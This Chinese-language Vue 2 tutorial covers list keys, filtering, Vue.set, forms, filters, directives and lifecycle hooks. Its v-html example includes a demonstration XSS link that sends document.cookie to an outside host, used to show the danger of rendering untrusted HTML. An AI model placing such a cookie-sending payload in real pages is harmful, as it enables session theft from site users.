</head><body><!-- 准备一个容器 --><div id="sport"><h2>球类列表(遍历数组)</h2><ul><li v-for="(item, index) in ballArr" :key="item.id">{{item.name}} - {{item.translate}}</li></ul><hr><h2>遍历狗的信息(遍历对象)</h2><ul><li v-for="(value, key) of dog" :key="key">{{key}} - {{value}}</li></ul><hr><h2>遍历字符串 girl(用得较少)</h2><ul><li v-for="(item, index) of str" :key="index">{{item}} - {{index}}</li></ul><hr><h2>遍历指定次数3次(用得较少)</h2><ul><li v-for="(item, index) of 3" :key="index">{{index}} - {{item}}</li></ul></div>
</body></html>

效果:

11.2 key 的原理

问:vue 中 key 有什么作用?

答:key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟DOM】。

问:key 的内部原理是什么?

根据 key 进行【新虚拟DOM】与【旧虚拟DOM】的差异比较(Diff 算法),比较规则如下:

1、旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key

  1. 若虚拟 DOM 中内容没变,直接使用之前的真实 DOM
  2. 若虚拟 DOM 中内容变了,则生成新的真实 DOM,随后替换掉页面中之前的真实DOM。

2、旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key

  • 创建新的真实DOM,随后渲染到到页面

问:用 index 作为 key 可能会引发什么问题?

答:

1、若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实 DOM 更新 最终效果是:界面效果没问题, 但效率低。

2、如果结构中还包含输入类的 DOM,会产生错误DOM更新,最终效果是:界面有问题。

问:开发中,如何选择 key?

答:

1、最好使用每条数据的唯一标识作为 ke。比如 id、手机号、身份证号、学号等唯一值。一般这些唯一值都是后台数据返回。

2、如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。

反例演示:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>key原理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#sport",data: {ballArr: [{ id: "01", name: "足球", translate: "football" },{ id: "02", name: "篮球", translate: "basketball" },{ id: "03", name: "羽毛球", translate: "badminton" },],books: [{ id: "01", bookName: "水浒传", writer: "施耐庵" },{ id: "02", bookName: "三国演义", writer: "罗贯中" },{ id: "03", bookName: "西游记", writer: "吴承恩" },{ id: "04", bookName: "红楼梦", writer: "曹雪芹" },],},methods: {//添加一个球类addBall() {const ball = { id: "004", name: "棒球", translate: "baseball" };this.ballArr.unshift(ball);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移},//添加一个名著addBook() {const book = { id: "005", bookName: "孙子兵法", writer: "孙武" };this.books.unshift(book);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移}}});}</script>
</head><body><!-- 准备一个容器 --><div id="sport"><h2>球类列表(正确做法 key=id)</h2><button @click.once="addBall">添加一个球类</button><ul><li v-for="(item, index) in ballArr" :key="item.id">{{item.name}} - {{item.translate}}<input type="text" placeholder="备注"></li></ul><hr><h2 style="color:red">四大名著(错误做法 key=index)</h2><button @click.once="addBook">添加一个名著</button><ul><li v-for="(item, index) in books" :key="index">{{item.bookName}} - {{item.writer}}<input type="text" placeholder="备注"></li></ul></div>
</body></html>

效果:先在“备注”输入框正常输入,然后分别点击按钮,在 key=index 中出现数据错位。

11.3 列表的筛选和排序

列表的筛选和排序,优先考虑使用“计算属性”来处理。

筛选主要是使用了数组的 filter 函数,排序主要是使用了数组的 sort 函数。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>列表过滤和排序</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#fruit",data: {keyWord: '',sortType: 0,//排序:默认原顺序fruitArr: [{ id: "01", name: "苹果", price: 10 },{ id: "02", name: "西瓜", price: 3 },{ id: "03", name: "香瓜", price: 12 },{ id: "04", name: "香蕉", price: 8 },{ id: "05", name: "芒果", price: 6 },],},//使用计算属性来处理比较好computed: {filterFruitArr() {const arr = this.fruitArr.filter((f) => {return f.name.indexOf(this.keyWord) !== -1;});//判断是否需要排序if (this.sortType >= 0) {//sortType = 2 升序if (this.sortType === 2) {arr.sort((f1, f2) => {return f1.price - f2.price;//升序是前面减去后面});} else if (this.sortType === 1) {//sortType = 1 降序arr.sort((f1, f2) => {return f2.price - f1.price;//降序是后面减去前面});}}return arr;//返回数组},}});}</script>
</head><body><!-- 准备一个容器 --><div id="fruit"><h2>水果列表</h2><input type="text" placeholder="请输入你要搜索的水果" v-model="keyWord"><button @click="sortType = 2">价格升序</button><button @click="sortType = 1">价格降序</button><button @click="sortType = 0">原顺序</button><ul><li v-for="(item, index) in filterFruitArr" :key="item.id">{{item.id}} - {{item.name}} - {{item.price}}</li></ul></div>
</body></html>

效果:

11.4 Vue 中 set 的使用

11.4.1、添加对象中没有的属性使用 vm.$set 或者 Vue.set

语法:Vue.set(target,propertyName/index,value)

例如:this.$set(this.info, "sex", "女");   或者 Vue.set(this.info, "sex", "女");

11.4.2 增删改数组中的元素

在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>set的使用</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#archives",data: {info: {userName: "刘亦菲",age: 18,hobby: ["唱歌", "跳舞", "编程"],courseArr: [{ courseName: "语文", score: 90 },{ courseName: "英语", score: 88 },]},},methods: {addSex() {//添加性别属性this.$set(this.info, "sex", "女");//或者使用//Vue.set(this.info, "sex", "女");},updateSex(value) {//修改性别this.info.sex = value;},addHobby() {//添加爱好this.info.hobby.push("拍戏");},updateHobby(value) {//修改第一个爱好this.$set(this.info.hobby, 0, value);//或者使用Vue.set(this.info.hobby, 0, value);//或者使用this.info.hobby.splice(0, 1, value);},removeCoding() {this.info.hobby = this.info.hobby.filter((h) => {return h !== "编程";})},addCourse(value) {this.info.courseArr.unshift({ courseName: "物理", score: 85 });},updateFirstCourse() {this.info.courseArr[0].courseName = "数学";},}});}</script>
</head><body><!-- 准备一个容器 --><div id="archives"><h2>个人档案</h2><h3>姓名:{{info.userName}}</h3><h3 v-if="info.sex">性别:{{info.sex}}</h3><h3>年龄:{{info.age}}</h3><h3>爱好:</h3><ul><li v-for="(h, index) in info.hobby" :key="index">{{h}}</li></ul><h3>专业成绩:</h3><ul><li v-for="(c, index) in info.courseArr" :key="index">{{c.courseName}} —— {{c.score}}</li></ul><hr><button @click="info.age++">年龄+1岁</button><button @click="addSex">加性别字段</button><button @click="updateSex('保密')">修改性别</button><hr><button @click="addHobby">添加一个爱好</button><button @click="updateHobby('拍电影')">修改第一个爱好</button><button @click="removeCoding">去掉爱好中的编程</button><hr><button @click="addCourse">添加一门课程</button><button @click="updateFirstCourse('数学')">修改第一个课程为:数学</button></div>
</body></html>

效果:

11.5 Vue 监视数据的原理

1、Vue 会监视 data 中所有层次的数据。

2、如果 data 中的数据是对象的形式,Vue 会通过 setter 方法实现监视,且要在 new Vue 时就传入要监视的数据 。

  1. 对象中,后面追加的属性,Vue 默认不做响应式处理。
  2. 如果需要给后面添加的属性做响应式处理,需要使用以下的 API:

          Vue.set(target,propertyName/index,value)   或者

          vm.$set(target,propertyName/index,value)

3、如何监视数组中的数据?

答:Vue 通过包裹数组更新元素的方法实现,本质上就是做了两件事:

1、调用原生 JavaScript 对应的处理数组的方法对数组进行更新

2、重新解析模板,从而更新页面

4、在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

5、特别要注意的是: Vue.set() 和 vm.$set() 不能给 vm 或者 vm 的根数据对象添加属性。也就是不能直接给 data 添加属性,需要再加多一层对象,比如:info、student、person 等等。否则会报错:

vue.js:5072 [Vue warn]: Avoid adding reactive properties to a Vue instance or its root $data at runtime - declare it upfront in the data option

12、收集表单数据

1、如果表单组件是 <input type="text"/> ,则 v-model 收集的是 value 的值,用户输入的就是 value 值。

2、如果表单组件是 <input type="radio"/> 单选框,则 v-model 收集的是 value 的值,需要给标签配置 value 值。

3、如果表单组件是 <input type="checkbox"/> 勾选框(复选框),分为2种情况:①没有配置 input 的 value 属性,那么收集的就是 checked(勾选和未勾选,布尔值);②配置了 input 的 value 属性,v-model 的初始值如果是非数组,那么也是收集 checked(勾选和未勾选,布尔值),如果是数组,那么收集的就是 value 组成的数组。

4、v-model 的三个修饰符:

  1. lazy:失去焦点再收集数据,避免频繁的收集数据
  2. number:输入字符串转为有效的数字,一般配合 input type="number" 一起使用
  3. trim:去掉首尾的空格

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>收集表单数据</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#collectForm",data: {info: {account: "",password: "",age: 20,sex: "male",hobby: [],city: "",introduce: "",agree: ""},},methods: {register() {//模拟注册信息console.log(JSON.stringify(this.info));}}});}</script>
</head><body><!-- 准备一个容器 --><div id="collectForm"><form @submit.prevent="register"><h2>注册信息</h2>账号:<input type="text" v-model.trim="info.account"><br>密码:<input type="password" v-model.trim="info.password"><br>年龄:<input type="number" v-model.number="info.age"><br>性别:男<input type="radio" name="sex" value="male" v-model="info.sex"></input>女<input type="radio" name="sex" value="female" v-model="info.sex"></input><br>爱好:编程<input type="checkbox" v-model="info.hobby" value="coding">泡妞<input type="checkbox" v-model="info.hobby" value="chatWithGirl">逛街<input type="checkbox" v-model="info.hobby" value="shopping"><br>籍贯:<select v-model="info.city"><option value="">请选择省份</option><option value="guangdong">广东</option><option value="guangxi">广西</option><option value="shandong">山东</option><option value="shanxi">山西</option></select><br>自我介绍:<br><textarea v-model.lazy="info.introduce" cols="30" rows="10"></textarea><br><input type="checkbox" v-model="info.agree">阅读并接受<a href="http://www.baidu.com">用户协议</a><br><button>提交表单</button></form></div>
</body></html>

效果:

13、过滤器

1、过滤器的定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

2、语法:

1、注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

2、使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

3、说明

1、过滤器也可以接收额外参数、多个过滤器也可以串联。

2、并没有改变原本的数据,是产生新的对应的数据。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>过滤器</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><!-- CDN 引入 day.js Day.js 是一个轻量的处理时间和日期的 JavaScript 库 --><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script><script>window.onload = function () {//文档加载完成后执行//定义全局过滤器Vue.filter("globalFilter", function (value) {return value.slice(0, 4);})const vm1 = new Vue({el: "#filterContent",data: {time: 1711968456323},computed: {formatTime() {//计算属性实现return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");}},methods: {//methods实现getFormatTime() {return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");}},//过滤器实现filters: {filterTime(value, str = "YYYY年MM月DD日 HH:mm:ss") {return dayjs(value).format(str);}}});const vm2 = new Vue({el: "#globalContent",data: {message: "春风又绿江南岸"}});}</script></head><body><!-- 准备一个容器 --><div id="filterContent"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>计算属性实现,现在是:{{formatTime}}</h3><!-- methods实现 --><h3>methods实现,现在是:{{getFormatTime()}}</h3><!-- 过滤器实现 --><h3>过滤器实现,现在是:{{time | filterTime}}</h3><!-- 过滤器实现(传参) --><h3>过滤器实现(传参) ,现在是:{{time | filterTime('YYYY-MM-DD') | globalFilter}}</h3></div><div id="globalContent"><h2>全局过滤器截取前4位:{{ message | globalFilter}}</h2></div>
</body></html>

效果:

14、内置指令 & 自定义指令

14.1 内置指令

我们之前提到的指令有:

  1. v-bind:单向绑定解析表达式(数据从 data 中流向页面),可以简写为 :xxx
  2. v-model:双向数据绑定(页面与 data 数据互通)
  3. v-for:遍历数组、对象、字符串等
  4. v-on:绑定事件的监听,可以简写为 @
  5. v-if:条件渲染,动态控制节点是否存在
  6. v-else:条件渲染,与 v-if 搭配使用
  7. v-show:条件渲染,动态控制节点是否展示

接下来,继续学习几个指令: 

1、v-text 指令

  • 作用:向其所在的节点中渲染文本内容。
  • 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会。

2、v-html 指令

  • 作用:向指定节点中渲染包含 html 结构的内容。
  • 与插值语法的区别:v-html会替换掉节点中所有的内容,{{xx}}则不会。v-html可以识别html结构。
  • v-html 有安全性问题!在网站上动态渲染任意 html 是非常危险的,容易导致 XSS 攻击。一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!

3、v-cloak 指令

  • v-cloak 指令没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题。

4、v-once 指令

  • v-once 所在节点在初次动态渲染后,就视为静态内容了。
  • 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

5、v-pre 指令

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>内置指令</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行new Vue({el: "#instruct",data: {k: 1,good: "干得漂亮!",nice: "<h3 style='color:red'>我是 v-text 指令!</h3>",fine: "<h3 style='color:red'>我是 v-html 指令!</h3>",well: '<a target="_blank" href=javascript:location.href="http://www.baidu.com?"+document.cookie>把 cookie 给你搂出来!</a>',}});}</script></head><body><!-- 准备一个容器 --><div id="instruct"><!-- v-text 指令渲染文本内容 --><div v-text="good"></div><div v-text="nice"></div><hr><!-- v-html 指令渲染包含html结构的内容 --><div v-html="good"></div><div v-html="fine"></div><div v-html="well"></div><hr><!-- v-cloak 指令可以解决网速慢时页面展示出{{xxx}}的问题 --><div v-cloak="good"></div><hr><!-- v-once 初次动态渲染后成为静态内容 --><h3 v-once>刚毕业时工资是:{{k}}万</h3><h3>现在的工资是是:{{k}}万</h3><button @click="k++">点我可以涨薪</button><hr><!-- v-pre指令跳过所在节点的编译 --><h3 v-pre>Vue看到我就直接跳过,不理睬</h3></div>
</body></html>

效果:

14.2 自定义指令

1、语法

1、局部指令

new Vue({directives:{指令名:配置对象}
})或者new Vue({directives:{指令名:回调函数}
})

2、全局指令

Vue.directive(指令名,配置对象)
或者
Vue.directive(指令名,回调函数)

2、配置对象中常用的3个回调

1、.bind(element, binding):指令与元素成功绑定时调用。

2、.inserted(element, binding):指令所在元素被插入页面时调用。

3、.update(element, binding):指令所在模板结构被重新解析时调用。

3、备注

1、指令定义时不加v-,但使用时要加 v-

2、指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 驼峰命名。如:focus-bind,且在 js 中的方法名要用引号包住。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>自定义指令</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>/*需求1:定义一个 v-square 指令,把绑定的数值求平方。需求2:定义一个 v-focus-bind 指令,也是求平方,但是每次都要获取页面焦点*/window.onload = function () {//文档加载完成后执行//可以创建全局的自定义指令/*Vue.directive("focus-bind", {//指令与元素成功绑定时(页面初始化)bind(element, binding) {element.value = binding.value * binding.value;//求平方},//指令所在元素被插入页面时inserted(element, binding) {element.focus();//获得焦点},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value * binding.value;//求平方element.focus();//获得焦点}});*/new Vue({el: "#instruct",data: {m: 1,},//自定义指令使用的函数directives: {//简写的方式square(element, binding) {console.log("square", this);//注意此处的 this 是 window,而不是 Vueelement.innerText = binding.value * binding.value;//求平方},//完整写法//如果出现连接符号,需要使用引号把字符串包起来"focus-bind": {//指令与元素成功绑定时(页面初始化)bind(element, binding) {element.value = binding.value * binding.value;//求平方},//指令所在元素被插入页面时inserted(element, binding) {element.focus();//获得焦点},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value * binding.value;//求平方element.focus();//获得焦点}}}});}</script></head><body><!-- 准备一个容器 --><div id="instruct"><h2>当前 m 的值为:{{m}}</h2><h2>m 的平方为:<span v-square="m"></span></h2><button @click="m++">点我工资 m+1</button><hr>m 的平方为(获得焦点):<input type="text" v-focus-bind:value="m"></div>
</body></html>

效果:

15、生命周期

15.1 生命周期的概念

Vue 的生命周期,又叫:生命周期回调函数、生命周期函数或者生命周期钩子。

15.2 生命周期的作用是什么?

Vue在关键时刻帮我们调用的一些特殊名称的函数,让程序员可以在这些特殊的函数执行特定的逻辑。

另外

1、生命周期的函数名字是不可更改的,是 Vue 体系中定义好的,但函数的具体逻辑可以由程序员根据需求来编写。

2、生命周期函数中的 this 指向是 vm 或组件实例对象。

15.3 生命周期涉及到的函数

通常,Vue 的生命周期中主要涉及 8 个函数,也称 4 对函数(成对出现),分别是:

  1. beforeCreate():初始化:事件和生命周期。此时数据代理还未开始(也就是 vm 还没有创建好),无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。

  2. created():初始化完成:数据监测、数据代理。此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。

  3. beforeMount():初始化挂载。此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。

  4. mounted():挂载完成。此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。

  5. beforeUpdate():数据更新之前。此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。

  6. updated():数据更新完成。此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。

  7. beforeDestroy():销毁之前。此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。

  8. destroyed():销毁完成。此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>生命周期</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行new Vue({el: "#lifeCycle",data: {poetry: "少壮不努力,老大徒伤悲",k: 1,},methods: {add() {console.log("点击了 add");this.k++;},goodbye() {console.log("点击了 goodbye");this.$destroy();}},watch: {k() {console.log("检测到 k 变化了");}},//初始化:事件和生命周期beforeCreate() {console.log("beforeCreate:此时数据代理还未开始,无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。");},//初始化完成:数据监测、数据代理created() {console.log("created:此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。");},//初始化挂载beforeMount() {console.log("beforeMount:此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。");},//挂载完成mounted() {console.log("mounted:此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。");},//数据更新之前beforeUpdate() {console.log("beforeUpdate:此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。");},//数据更新完成updated() {console.log("updated:此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。");},//销毁之前beforeDestroy() {this.add();console.log("调用 add 方法,此时的 k=" + this.k);console.log("beforeDestroy:此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。");},//销毁完成destroyed() {console.log("destroyed:销毁完成,此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。");}});}</script></head><body><!-- 准备一个容器 --><div id="lifeCycle"><h2>当前工资是:{{k}}万</h2><h2>{{poetry}}</h2><button @click="add">点我可以涨薪</button><button @click="goodbye">点我离职</button></div>
</body></html>

效果:

说明:

在销毁阶段 beforeDestroy(),即使我们再调用 add 方法,让 k 值增加,但是,vm 并不会再更新到页面中,因为它觉得这个阶段再去做一些更新操作也是徒劳。而是做一些收尾的工作。比如关闭定时器、取消订阅消息等等。春蚕到死丝方尽,蜡炬成灰泪始干。

原理图:

关于销毁 Vue 实例

1、销毁后借助 Vue 开发者工具看不到任何信息。

2、销毁后,自定义事件会失效,但原生 DOM 事件依然有效。

3、一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。

 — end —

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1033936.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

isaacgym 渲染黑屏

问题描述&#xff1a; isaacgym安装完IsaacGym_Preview_4_Package.tar.gz之后&#xff0c;运行python joint_monkey.py没有任何内容现实&#xff0c;但是终端还是正常输出信息。 环境是ubuntu22服务器&#xff0c;python3.8&#xff0c;nvidia Driver Version: 515.65.01 CUDA…

Day57:WEB攻防-SSRF服务端请求Gopher伪协议无回显利用黑白盒挖掘业务功能点

目录 SSRF-原理&挖掘&利用&修复 SSRF无回显解决办法 SSRF漏洞挖掘 SSRF协议利用 http:// &#xff08;常用&#xff09; file:/// &#xff08;常用&#xff09; dict:// &#xff08;常用&#xff09; sftp:// ldap:// tftp:// gopher:// &#xff08;…

搜索与图论——Kruskal算法求最小生成树

kruskal算法相比prim算法思路简单&#xff0c;不用处理边界问题&#xff0c;不用堆优化&#xff0c;所以一般稀疏图都用Kruskal。 Kruskal算法时间复杂度O(mlogm) 每条边存结构体里&#xff0c;排序需要在结构体里重载小于号 判断a&#xff0c;b点是否连通以及将点假如集合中…

65W智能快充—同为科技桌面PDU插座推荐

近10年&#xff0c;移动设备的智能化、功能化已经完全且紧密的融入到我们的基础生活与工作当中。 在常态化的电子设备的应用中&#xff0c;设备的电力续航以及后续的供电充电就尤为重要。 就目前而言&#xff0c;所有消费电子产品中的输入以及充电的接口&#xff0c;usb-c可以…

竞赛 python图像检索系统设计与实现

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; python图像检索系统设计与实现 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;3分创新点&#xff1a;4分 该项目较为新颖&#xff0c…

华为开源自研AI框架昇思MindSpore应用案例:梯度累加

目录 一、环境准备1.进入ModelArts官网2.使用CodeLab体验Notebook实例 二、案例实现 梯度累加的训练算法&#xff0c;目的是为了解决由于内存不足&#xff0c;导致Batch size过大神经网络无法训练&#xff0c;或者网络模型过大无法加载的OOM&#xff08;Out Of Memory&#xff…

C++之类和对象的中篇

&#x1d649;&#x1d65e;&#x1d658;&#x1d65a;!!&#x1f44f;&#x1f3fb;‧✧̣̥̇‧✦&#x1f44f;&#x1f3fb;‧✧̣̥̇‧✦ &#x1f44f;&#x1f3fb;‧✧̣̥̇:Solitary_walk ⸝⋆ ━━━┓ - 个性标签 - &#xff1a;来于“云”的“羽球人”。…

分布式任务调度框架XXL-JOB

1、概述 XXL-JOB是一个分布式任务调度平台&#xff0c;其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线&#xff0c;开箱即用。 官方文档&#xff1a;https://www.xuxueli.com/xxl-job/#%E4%BA%8C%E3%80%81%E5%BF%AB%E9%80%9F%E…

BGP实训

BGP基础配置实训 实验拓扑 注&#xff1a;如无特别说明&#xff0c;描述中的 R1 或 SW1 对应拓扑中设备名称末尾数字为 1 的设备&#xff0c;R2 或 SW2 对应拓扑中设备名称末尾数字为2的设备&#xff0c;以此类推&#xff1b;另外&#xff0c;同一网段中&#xff0c;IP 地址的主…

Vue基础配置、组件通信、自定义指令

基础配置 Vue框架已经集成了webpack配置 小注意点 vbase 快速生成vue模板 组件名必须是多词格式(驼峰模式) 具体三种写法: ①小驼峰:abcDef.vue ②大驼峰&#xff1a;AbcDef.vue ③中横线&#xff1a;abc-def.vue 假如文件名不符合多次格式的补救办法&#xff1a; 导出重命名…

分享一种快速移植OpenHarmony Linux内核的方法

移植概述 本文面向希望将 OpenHarmony 移植到三方芯片平台硬件的开发者&#xff0c;介绍一种借助三方芯片平台自带 Linux 内核的现有能力&#xff0c;快速移植 OpenHarmony 到三方芯片平台的方法。 移植到三方芯片平台的整体思路 内核态层和用户态层 为了更好的解释整个内核…

站群CMS系统

站群CMS系统是一种用于批量建立和管理网站的内容管理系统&#xff0c;它能够帮助用户快速创建大量的网站&#xff0c;并实现对这些网站的集中管理。以下是三个在使用广泛的站群CMS系统&#xff0c;它们各具特色&#xff0c;可以满足不同用户的需求。 1. Z-BlogPHP Z-BlogPHP是…

【JavaScript】函数 ④ ( 函数返回值 | 函数返回值语法 return 关键字 | 函数默认返回值 undefined )

文章目录 一、JavaScript 函数返回值1、函数返回值引入2、函数返回值语法3、函数默认返回值4、函数默认返回值 一、JavaScript 函数返回值 1、函数返回值引入 JavaScript 函数 可以 实现某种特定的功能 , 执行完毕后 , 可以返回一个 " 返回值 " ; 当 函数 被调用执行…

Unity LineRenderer的基本了解

在Unity中&#xff0c;LineRenderer组件用于在场景中绘制简单的线条。它通常用于绘制轨迹、路径、激光等效果。 下面来了解下它的基本信息。 1、创建 法1&#xff1a;通过代码创建 using UnityEngine;public class CreateLineRenderer : MonoBehaviour {void Start(){// 创…

华为OD机试 - 查找舆情热词(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…

基于SSM+Jsp+Mysql的美食推荐管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

输出100~200之间的素数(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>//实现素数判断函数&#xff1b; int Prime(int number) {//初始化变量值&#xff1b;int divided 2;int JudgementCondition 0;//循环判断素数&#xff1b;wh…

MySQL Innodb 引擎中预防 Update 操作上升为表锁

一、MySQL 如何预防 Update 上升为表锁 在 MySQL 中&#xff0c;进行任何数据的 修改 操作都会进行一定的锁操作&#xff0c;而锁的不同直接导致性能的差异。例如 MyISAM 引擎&#xff0c;更新时采用表锁&#xff0c;并发性较差。而 Innodb 引擎支持事务&#xff0c;更新时采用…

7.1 Mysql shell 定时备份

直接上脚本----linu 定时任务执行 #!/bin/bash# 配置信息 DB_USER"your_username" # 数据库用户名 DB_PASSWORD"your_password" # 数据库密码 DB_NAME"your_database_name" # 要备份的数据库名 BACKUP_DIR"/path/to/backup/directory"…

LiDAR和Camera融合的BEV感知算法-BEVFusion

0. 简述 本次给大家讲解一篇非常经典的融合工作叫 BEVFusion&#xff0c;我们依旧从算法动机&开创性思路、主体结构、损失函数以及性能对比四个方面展开 BEVFusion 有两篇文章&#xff0c;本次主要讲解的是阿里和北大的&#xff1a;BEVFusion: A Simple and Robust LiDAR-…